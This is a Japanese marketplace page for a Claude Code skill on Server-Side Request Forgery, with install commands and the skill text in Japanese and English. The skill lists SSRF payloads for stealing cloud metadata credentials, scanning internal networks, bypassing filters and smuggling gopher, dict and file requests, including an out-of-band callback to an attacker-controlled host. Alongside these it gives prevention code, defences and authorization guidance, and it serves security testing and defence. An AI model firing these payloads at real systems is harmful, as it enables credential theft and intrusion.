jpskill.com
🛠️ 開発・MCP コミュニティ

ssrf-detection

Webアプリケーションにおけるサーバーサイドリクエストフォージェリ(SSRF)脆弱性を検出し、悪用や防御策を講じ、内部サービスへのアクセスやフィルター回避、外部URL取得監査など、SSRFに関する様々なタスクを支援するSkill。

📜 元の英語説明(参考)

Detect, exploit, and prevent Server-Side Request Forgery (SSRF) vulnerabilities. Use when tasks involve testing for SSRF in web applications, accessing internal services through SSRF, bypassing SSRF filters, implementing SSRF prevention, or auditing applications that fetch external URLs. Covers blind and non-blind SSRF, cloud metadata exploitation, and defense strategies.

🇯🇵 日本人クリエイター向け解説

一言でいうと

Webアプリケーションにおけるサーバーサイドリクエストフォージェリ(SSRF)脆弱性を検出し、悪用や防御策を講じ、内部サービスへのアクセスやフィルター回避、外部URL取得監査など、SSRFに関する様々なタスクを支援するSkill。

※ jpskill.com 編集部が日本のビジネス現場向けに補足した解説です。Skill本体の挙動とは独立した参考情報です。

⚡ おすすめ: コマンド1行でインストール(60秒)

下記のコマンドをコピーしてターミナル(Mac/Linux)または PowerShell(Windows)に貼り付けてください。 ダウンロード → 解凍 → 配置まで全自動。

🍎 Mac / 🐧 Linux
mkdir -p ~/.claude/skills && cd ~/.claude/skills && curl -L -o ssrf-detection.zip https://jpskill.com/download/15414.zip && unzip -o ssrf-detection.zip && rm ssrf-detection.zip
🪟 Windows (PowerShell)
$d = "$env:USERPROFILE\.claude\skills"; ni -Force -ItemType Directory $d | Out-Null; iwr https://jpskill.com/download/15414.zip -OutFile "$d\ssrf-detection.zip"; Expand-Archive "$d\ssrf-detection.zip" -DestinationPath $d -Force; ri "$d\ssrf-detection.zip"

完了後、Claude Code を再起動 → 普通に「動画プロンプト作って」のように話しかけるだけで自動発動します。

💾 手動でダウンロードしたい(コマンドが難しい人向け)
  1. 1. 下の青いボタンを押して ssrf-detection.zip をダウンロード
  2. 2. ZIPファイルをダブルクリックで解凍 → ssrf-detection フォルダができる
  3. 3. そのフォルダを C:\Users\あなたの名前\.claude\skills\(Win)または ~/.claude/skills/(Mac)へ移動
  4. 4. Claude Code を再起動

⚠️ ダウンロード・利用は自己責任でお願いします。当サイトは内容・動作・安全性について責任を負いません。

🎯 このSkillでできること

下記の説明文を読むと、このSkillがあなたに何をしてくれるかが分かります。Claudeにこの分野の依頼をすると、自動で発動します。

📦 インストール方法 (3ステップ)

  1. 1. 上の「ダウンロード」ボタンを押して .skill ファイルを取得
  2. 2. ファイル名の拡張子を .skill から .zip に変えて展開(macは自動展開可)
  3. 3. 展開してできたフォルダを、ホームフォルダの .claude/skills/ に置く
    • · macOS / Linux: ~/.claude/skills/
    • · Windows: %USERPROFILE%\.claude\skills\

Claude Code を再起動すれば完了。「このSkillを使って…」と話しかけなくても、関連する依頼で自動的に呼び出されます。

詳しい使い方ガイドを見る →
最終更新
2026-05-18
取得日時
2026-05-18
同梱ファイル
1

📖 Skill本文(日本語訳)

※ 原文(英語/中国語)を Gemini で日本語化したものです。Claude 自身は原文を読みます。誤訳がある場合は原文をご確認ください。

SSRF検出

概要

Server-Side Request Forgery (SSRF) を見つけ、悪用し、修正します。SSRF は、サーバーに意図しない宛先への HTTP リクエストを実行させるように仕向けます。これにより、内部サービス、クラウドメタデータ、またはサーバーが到達できるが攻撃者は到達できない他のシステムにアクセスします。

手順

SSRF の仕組み

通常のフロー:
  ユーザー → サーバー → 外部 API (意図されたもの)

SSRF 攻撃:
  ユーザーが送信: url=http://169.254.169.254/latest/meta-data/
  サーバー → AWS Metadata Service (意図しないもの)
  サーバーが返す: IAM 認証情報、インスタンス情報など

ユーザー入力から URL を受け取り、サーバー側でそれを取得する機能は、潜在的な SSRF ベクターとなります。

  • 画像/ファイル URL のインポート ("画像 URL を貼り付け")
  • Webhook の構成
  • 外部リソースを取得する PDF ジェネレーター
  • URL プレビュー/展開機能 (Slack スタイルのリンクプレビュー)
  • ユーザーが提供するエンドポイントとの API 統合
  • RSS/フィードリーダー
  • ドキュメントコンバーター

SSRF の種類

非ブラインド (古典的な) SSRF

サーバーはレスポンスボディを攻撃者に返します。

リクエスト:  GET /fetch?url=http://internal-api:8080/admin/users
レスポンス: {"users": [...すべての内部ユーザーデータ...]}

攻撃者は内部サービスからのレスポンスを確認できます。

ブラインド SSRF

サーバーはリクエストを実行しますが、レスポンスボディを返しません。攻撃者は以下を通じて SSRF を確認します。

1. 時間差:
   url=http://10.0.0.1:22 (SSH ポート — 高速接続)
   url=http://10.0.0.1:12345 (閉じられたポート — タイムアウト)
   レスポンス時間の違いにより、ポートが開いている/閉じていることが確認できます

2. 帯域外コールバック:
   url=http://attacker-controlled.burpcollaborator.net
   サーバーが DNS/HTTP リクエストをあなたのサーバーに送信した場合、SSRF が確認されます

3. エラーメッセージの違い:
   url=http://10.0.0.1 → "Connection refused" (ホストが存在する)
   url=http://10.0.0.99 → "Host unreachable" (ホストが存在しない)

セミブラインド SSRF

完全なレスポンスは返されませんが、エラーメッセージ、レスポンス時間、ステータスコード、またはコンテンツの長さなどの部分的な情報が漏洩します。

検出と悪用

テスト方法

1. URL を受け入れる入力ポイントを特定します。
   - パラメータを検索: url=, uri=, path=, src=, dest=, redirect=,
     link=, feed=, host=, site=, callback=, webhook=, proxy=
   - 機能を検索: "URL からインポート", "Webhook を追加", "リンクをプレビュー"

2. 外部コールバックでテストします。
   url=http://your-burp-collaborator.com
   url=http://your-server.com/ssrf-test
   → リクエストを受信した場合、基本的な SSRF が確認されます

3. 内部アクセスをテストします。
   url=http://localhost
   url=http://127.0.0.1
   url=http://[::1]                    # IPv6 localhost
   url=http://169.254.169.254          # AWS メタデータ
   url=http://metadata.google.internal # GCP メタデータ
   url=http://100.100.100.200          # Azure メタデータ

4. 内部ネットワークをマッピングします。
   url=http://10.0.0.1 から url=http://10.0.0.255 まで
   url=http://172.16.0.1 から url=http://172.31.255.255 まで
   url=http://192.168.0.1 から url=http://192.168.255.255 まで
   → レスポンス時間/エラーの違いを使用して、アクティブなホストを特定します

5. 内部ポートをスキャンします。
   url=http://10.0.0.5:22    (SSH)
   url=http://10.0.0.5:3306  (MySQL)
   url=http://10.0.0.5:6379  (Redis)
   url=http://10.0.0.5:9200  (Elasticsearch)

クラウドメタデータの悪用

クラウドインスタンスには、既知の IP アドレスでアクセスできるメタデータサービスがあります。

AWS (最も影響が大きい — IAM 認証情報を生成する可能性があります):
  http://169.254.169.254/latest/meta-data/
  http://169.254.169.254/latest/meta-data/iam/security-credentials/
  http://169.254.169.254/latest/meta-data/iam/security-credentials/ROLE-NAME
  → 返されるもの: AccessKeyId, SecretAccessKey, Token

GCP:
  http://metadata.google.internal/computeMetadata/v1/
  ヘッダーが必要: Metadata-Flavor: Google
  http://metadata.google.internal/computeMetadata/v1/instance/service-accounts/default/token

Azure:
  http://169.254.169.254/metadata/instance?api-version=2021-02-01
  ヘッダーが必要: Metadata: true

DigitalOcean:
  http://169.254.169.254/metadata/v1/

フィルターバイパス技術

基本的な SSRF ペイロードがブロックされている場合:

IP アドレスの難読化:
  127.0.0.1      → 2130706433 (10進数)
  127.0.0.1      → 0x7f000001 (16進数)
  127.0.0.1      → 0177.0.0.1 (8進数)
  127.0.0.1      → 127.1 (短縮形)
  127.0.0.1      → 0 (一部のシステム)

DNS リバインディング:
  127.0.0.1 に解決されるドメインを登録します
  最初の解決 → 外部 IP (許可リストチェックに合格)
  2回目の解決 → 127.0.0.1 (実際のリクエスト)
  ツール: rebind.it, taviso/rbndr

URL 解析のトリック:
  http://evil.com#@expected.com    # フラグメントの混乱
  http://expected.com@evil.com     # URL 内のユーザー名
  http://evil.com/..;/internal     # パストラバーサル
  http://ⓔⓧⓐⓜⓟⓛⓔ.ⓒⓞⓜ           # Unicode 正規化

プロトコルスマグリング:
  gopher://127.0.0.1:6379/_*3%0d%0a...  # gopher 経由の Redis コマンド
  dict://127.0.0.1:6379/info             # dict プロトコル経由の Redis 情報
  file:///etc/passwd                      # ローカルファイルの読み取り

対策

URL の検証


# ssrf_prevention.py
# SSRF 攻撃を防ぐための URL の検証

import ipaddress
import socket
from urllib.parse import urlparse

BLOCKED_NETWORKS = [
    ipaddress.ip_network('10.0.0.0/8'),        # プライベート
    ipaddress.ip_network('172.16.0.0/12'),      # プライベート
    ipaddress.ip_network('192.168.0.0/16'),     # プライベート
    ipaddress.ip_network('127.0.0.0/8'),        # ループバック
    ipaddress.ip_network('169.254.0.0/16'),     # リンクローカル (メタデータ)
    ipaddress.ip_network('100.64.0.0/10'),      # キャリアグレード NAT
    ipaddress.ip_network('::1/128'),            # IPv6 ループバック
    ipaddress.ip_network('fc00::/7'),           # IPv6 プライベート
    ipaddress.ip_network('fe80::/10'),          # IPv6 リンクローカル
]

def validate_url(url: str) -> bool:
    """ユーザーが提供した URL が安全に取得できるかどうかを検証します。

    チェック: スキーム許可リスト、非プライベート IP への DNS 解決、
    IP アドレスの難読化の禁止、内部ネットワークへのリダイレクトの禁止。

    Args:
        url: 検証するユーザーが提供した URL

    Returns:
        URL が安全な場合は True

(原文がここで切り詰められています)
📜 原文 SKILL.md(Claudeが読む英語/中国語)を展開

SSRF Detection

Overview

Find, exploit, and fix Server-Side Request Forgery. SSRF tricks the server into making HTTP requests to unintended destinations — accessing internal services, cloud metadata, or other systems that the server can reach but the attacker cannot.

Instructions

How SSRF Works

Normal flow:
  User → Server → External API (intended)

SSRF attack:
  User sends: url=http://169.254.169.254/latest/meta-data/
  Server → AWS Metadata Service (unintended)
  Server returns: IAM credentials, instance info, etc.

Any feature that takes a URL from user input and fetches it server-side is a potential SSRF vector:

  • Image/file URL imports ("paste image URL")
  • Webhook configurations
  • PDF generators that fetch external resources
  • URL preview/unfurl features (Slack-style link previews)
  • API integrations with user-provided endpoints
  • RSS/feed readers
  • Document converters

SSRF Types

Non-blind (classic) SSRF

The server returns the response body to the attacker:

Request:  GET /fetch?url=http://internal-api:8080/admin/users
Response: {"users": [...all internal user data...]}

The attacker sees the response from the internal service.

Blind SSRF

The server makes the request but doesn't return the response body. The attacker confirms SSRF through:

1. Timing differences:
   url=http://10.0.0.1:22 (SSH port — fast connection)
   url=http://10.0.0.1:12345 (closed port — timeout)
   Different response times confirm port is open/closed

2. Out-of-band callbacks:
   url=http://attacker-controlled.burpcollaborator.net
   If the server sends a DNS/HTTP request to your server, SSRF confirmed

3. Error message differences:
   url=http://10.0.0.1 → "Connection refused" (host exists)
   url=http://10.0.0.99 → "Host unreachable" (host doesn't exist)

Semi-blind SSRF

The full response isn't returned, but partial information leaks — error messages, response times, status codes, or content length.

Detection and Exploitation

Testing methodology

1. IDENTIFY input points that accept URLs:
   - Search for parameters: url=, uri=, path=, src=, dest=, redirect=,
     link=, feed=, host=, site=, callback=, webhook=, proxy=
   - Look for features: "import from URL", "add webhook", "preview link"

2. TEST with external callback:
   url=http://your-burp-collaborator.com
   url=http://your-server.com/ssrf-test
   → If you receive the request, basic SSRF confirmed

3. TEST internal access:
   url=http://localhost
   url=http://127.0.0.1
   url=http://[::1]                    # IPv6 localhost
   url=http://169.254.169.254          # AWS metadata
   url=http://metadata.google.internal # GCP metadata
   url=http://100.100.100.200          # Azure metadata

4. MAP internal network:
   url=http://10.0.0.1 through url=http://10.0.0.255
   url=http://172.16.0.1 through url=http://172.31.255.255
   url=http://192.168.0.1 through url=http://192.168.255.255
   → Use response time/error differences to identify live hosts

5. SCAN internal ports:
   url=http://10.0.0.5:22    (SSH)
   url=http://10.0.0.5:3306  (MySQL)
   url=http://10.0.0.5:6379  (Redis)
   url=http://10.0.0.5:9200  (Elasticsearch)

Cloud metadata exploitation

Cloud instances have metadata services accessible at well-known IPs:

AWS (most impactful — can yield IAM credentials):
  http://169.254.169.254/latest/meta-data/
  http://169.254.169.254/latest/meta-data/iam/security-credentials/
  http://169.254.169.254/latest/meta-data/iam/security-credentials/ROLE-NAME
  → Returns: AccessKeyId, SecretAccessKey, Token

GCP:
  http://metadata.google.internal/computeMetadata/v1/
  Header required: Metadata-Flavor: Google
  http://metadata.google.internal/computeMetadata/v1/instance/service-accounts/default/token

Azure:
  http://169.254.169.254/metadata/instance?api-version=2021-02-01
  Header required: Metadata: true

DigitalOcean:
  http://169.254.169.254/metadata/v1/

Filter bypass techniques

When basic SSRF payloads are blocked:

IP address obfuscation:
  127.0.0.1      → 2130706433 (decimal)
  127.0.0.1      → 0x7f000001 (hex)
  127.0.0.1      → 0177.0.0.1 (octal)
  127.0.0.1      → 127.1 (short form)
  127.0.0.1      → 0 (on some systems)

DNS rebinding:
  Register a domain that resolves to 127.0.0.1
  First resolution → external IP (passes allowlist check)
  Second resolution → 127.0.0.1 (actual request)
  Tools: rebind.it, taviso/rbndr

URL parsing tricks:
  http://evil.com#@expected.com    # Fragment confusion
  http://expected.com@evil.com     # Username in URL
  http://evil.com/..;/internal     # Path traversal
  http://ⓔⓧⓐⓜⓟⓛⓔ.ⓒⓞⓜ           # Unicode normalization

Protocol smuggling:
  gopher://127.0.0.1:6379/_*3%0d%0a...  # Redis commands via gopher
  dict://127.0.0.1:6379/info             # Redis info via dict protocol
  file:///etc/passwd                      # Local file read

Prevention

URL validation

# ssrf_prevention.py
# Validate URLs to prevent SSRF attacks

import ipaddress
import socket
from urllib.parse import urlparse

BLOCKED_NETWORKS = [
    ipaddress.ip_network('10.0.0.0/8'),        # Private
    ipaddress.ip_network('172.16.0.0/12'),      # Private
    ipaddress.ip_network('192.168.0.0/16'),     # Private
    ipaddress.ip_network('127.0.0.0/8'),        # Loopback
    ipaddress.ip_network('169.254.0.0/16'),     # Link-local (metadata)
    ipaddress.ip_network('100.64.0.0/10'),      # Carrier-grade NAT
    ipaddress.ip_network('::1/128'),            # IPv6 loopback
    ipaddress.ip_network('fc00::/7'),           # IPv6 private
    ipaddress.ip_network('fe80::/10'),          # IPv6 link-local
]

def validate_url(url: str) -> bool:
    """Validate a user-provided URL is safe to fetch.

    Checks: scheme allowlist, DNS resolution to non-private IP,
    no IP address obfuscation, no redirect to internal networks.

    Args:
        url: User-provided URL to validate

    Returns:
        True if URL is safe to fetch

    Raises:
        ValueError: If URL is blocked for SSRF prevention
    """
    parsed = urlparse(url)

    # 1. Scheme allowlist — only http and https
    if parsed.scheme not in ('http', 'https'):
        raise ValueError(f"Blocked scheme: {parsed.scheme}")

    # 2. No IP addresses in URL — force DNS resolution
    hostname = parsed.hostname
    if not hostname:
        raise ValueError("No hostname in URL")

    # 3. Resolve DNS and check against blocked networks
    try:
        resolved_ips = socket.getaddrinfo(hostname, parsed.port or 443)
    except socket.gaierror:
        raise ValueError(f"Cannot resolve: {hostname}")

    for family, type_, proto, canonname, sockaddr in resolved_ips:
        ip = ipaddress.ip_address(sockaddr[0])
        for network in BLOCKED_NETWORKS:
            if ip in network:
                raise ValueError(
                    f"Blocked: {hostname} resolves to private IP {ip}"
                )

    return True

Cloud metadata protection

# AWS: Require IMDSv2 (token-based) — blocks SSRF because
# the attacker can't set the required PUT header through SSRF
aws ec2 modify-instance-metadata-options \
  --instance-id i-1234567890 \
  --http-tokens required \
  --http-endpoint enabled

# GCP: Metadata service already requires header
# Metadata-Flavor: Google — blocks basic SSRF
# But some HTTP libraries add custom headers from redirects

# Network-level: Block metadata IP in firewall rules
iptables -A OUTPUT -d 169.254.169.254 -j DROP  # Nuclear option
# Better: use IMDSv2 + application-level URL validation

Architecture-level defenses

1. NETWORK SEGMENTATION
   Don't let web servers reach internal services directly.
   Use a dedicated proxy/gateway for outbound requests.

2. DEDICATED FETCHER SERVICE
   Move URL fetching to an isolated microservice with:
   - Its own network policy (can't reach internal services)
   - Allowlist of permitted destination domains
   - Response size limits
   - Timeout limits

3. DNS RESOLUTION PINNING
   Resolve DNS BEFORE making the request.
   Use the resolved IP for the actual connection.
   This prevents DNS rebinding attacks.

4. DISABLE UNNECESSARY PROTOCOLS
   Block: gopher://, file://, dict://, ftp://
   Allow only: http://, https://

Examples

Test a web application for SSRF

Our web application has a "fetch URL" feature that generates link previews. Test it for SSRF vulnerabilities: check if it can reach internal services (localhost, private IPs, cloud metadata), test filter bypasses (IP encoding, DNS rebinding, protocol smuggling), and map any accessible internal network. For each finding, demonstrate the impact and provide a proof-of-concept. We're running on AWS EC2.

Secure a URL fetching feature against SSRF

Our Node.js application has an endpoint that accepts a URL and fetches content for preview cards (similar to Slack's link unfurling). It currently uses axios with no validation. Implement comprehensive SSRF prevention: URL validation with DNS resolution checks, private IP blocking (including IPv6), scheme allowlist, redirect following with re-validation at each hop, timeout and size limits, and IMDSv2 enforcement on our AWS infrastructure.

Audit cloud infrastructure for SSRF exposure

Audit our AWS infrastructure for SSRF exposure. Check all EC2 instances for IMDSv1 (should be IMDSv2 only), review security groups for overly permissive internal access, identify application endpoints that accept URLs, and verify network segmentation between web-facing services and internal databases. Produce a risk report with prioritized remediation steps.

Guidelines

  • Only test for SSRF on applications you have explicit written authorization to test
  • Cloud metadata exploitation can expose real IAM credentials — handle findings as sensitive data and report through secure channels
  • SSRF testing against internal networks can disrupt services — coordinate with the infrastructure team before scanning internal IP ranges
  • Always implement both application-level URL validation and network-level controls (IMDSv2, network segmentation) as defense-in-depth
  • DNS rebinding bypasses require a controlled domain — never use rebinding against targets without explicit scope authorization
  • Report all SSRF findings through responsible disclosure, especially when cloud credentials are exposed